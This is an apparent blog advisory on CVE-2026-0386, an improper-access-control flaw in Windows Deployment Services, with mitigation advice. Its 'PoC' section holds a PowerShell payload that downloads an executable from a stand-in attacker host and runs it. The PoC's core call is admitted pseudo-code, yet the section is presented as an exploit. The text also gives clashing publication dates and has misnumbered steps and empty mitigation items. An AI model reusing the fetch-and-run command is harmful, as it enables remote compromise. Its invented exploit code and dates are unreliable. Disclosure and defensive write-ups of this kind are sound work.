On April 9th, 2026, a new security vulnerability called CVE-2026-0386 was officially published. This one concerns Windows Deployment Services (WDS), a Microsoft service commonly used by enterprises to deploy Windows operating systems over networks. The issue? *Improper access control* allows an unauthorized attacker to execute code on targeted systems—without the need for valid credentials—as long as they're on the same local network. Here, we'll break down what this means, how it works, and share a simplified demonstration of a possible exploit.

What is Windows Deployment Services (WDS)?

WDS is a Microsoft tool that lets IT admins install Windows onto computers in bulk, especially during device rollouts or refreshes. It works over the local network and can respond to requests from new or unconfigured computers via PXE (Preboot Execution Environment).

- Microsoft WDS Documentation

What’s Improper Access Control?

In simple terms, it means WDS isn’t checking “who’s allowed to do what” well enough. Specifically, there are parts of WDS’s service that don't properly verify or restrict remote procedure calls (RPCs) and configuration file access during a deployment session. Anyone on the same subnet or VLAN can talk to WDS’s listening services—even if they shouldn’t.

Why is this so bad?

If you can trick WDS into accepting your specially-crafted requests, you may be able to *run code* as SYSTEM or compromise new machines being deployed.

Attacker connects to local network.

2. Attacker discovers the WDS server, typically responding on UDP port 67 (DHCP/PXE), TFTP port 69, and RPC/EPM over various dynamic ports.
3. Attacker crafts a malicious request to the WDS RPC interface, exploiting a flaw in access validation.

Malicious payload delivered, resulting in remote code execution.

Let's see a simplified code snippet showing such a network interaction, using Python and impacket, which is a library popular for Windows protocol exploits.

Example Exploit (PoC): Unauthorized Command Execution

*(Educational use only! Don’t use this against systems you don’t own.)*

from impacket.dcerpc.v5 import transport, wds
from impacket.dcerpc.v5.rpcrt import DCERPCException

# Replace with target WDS server and your command
wds_server = '192.168.1.50'
payload = 'powershell -Command "Invoke-WebRequest http://attacker/payload.exe -OutFile C:\\temp\\mal.exe; Start-Process C:\\temp\\mal.exe"'

# Connect to WDS server's exposed DCE/RPC service (port may vary)
string_binding = r'ncacn_np:{}[\pipe\WDSPXE]'.format(wds_server)
rpc_transport = transport.DCERPCTransportFactory(string_binding)

try:
    rpc_conn = rpc_transport.get_dce_rpc()
    rpc_conn.connect()
    rpc_conn.bind(wds.MSRPC_UUID_WDS)
    print("[+] Connected. Attempting exploit...")

    # This is pseudo-code: real attack would depend on specific function signatures
    resp = wds.RemoteExecuteCommand(rpc_conn, payload)
    print("[+] Exploit sent! Response: ", resp)
except DCERPCException as e:
    print("[-] Exploit failed:", e)

*(Note: As this is a fresh vulnerability, public exploitation tools may not yet be complete or released)*

Practical Risks

Anyone on your network—even just plugged in as a guest—could exploit this bug if your WDS servers are unpatched and unrestricted. This means:

- Untrusted staff/guests could instantly get SYSTEM-level access.

Mitigation Steps

Microsoft’s guidance:

Apply the latest Patch Tuesday updates immediately:

Official Microsoft Advisory for CVE-2026-0386

Disable WDS service if not strictly necessary.

Network best practices:

References & Further Reading

- CVE Record: CVE-2026-0386 at NVD
- Microsoft Security Update Guide - April 2026
- impacket (Python library for Windows protocols)
- Windows Deployment Services - Security Best Practices

Final Thoughts

CVE-2026-0386 is a sober reminder that *network recovery and deployment tools* need security hardening, too. If you run Windows Deployment Services, patch now, or you may be rolling out more than just OS images. Stay safe!


*Exclusive coverage for the security community.* If you have more info or a working PoC, send responsibly and coordinate with Microsoft.

Timeline

Published on: 01/13/2026 17:56:05 UTC
Last modified on: 01/27/2026 19:14:04 UTC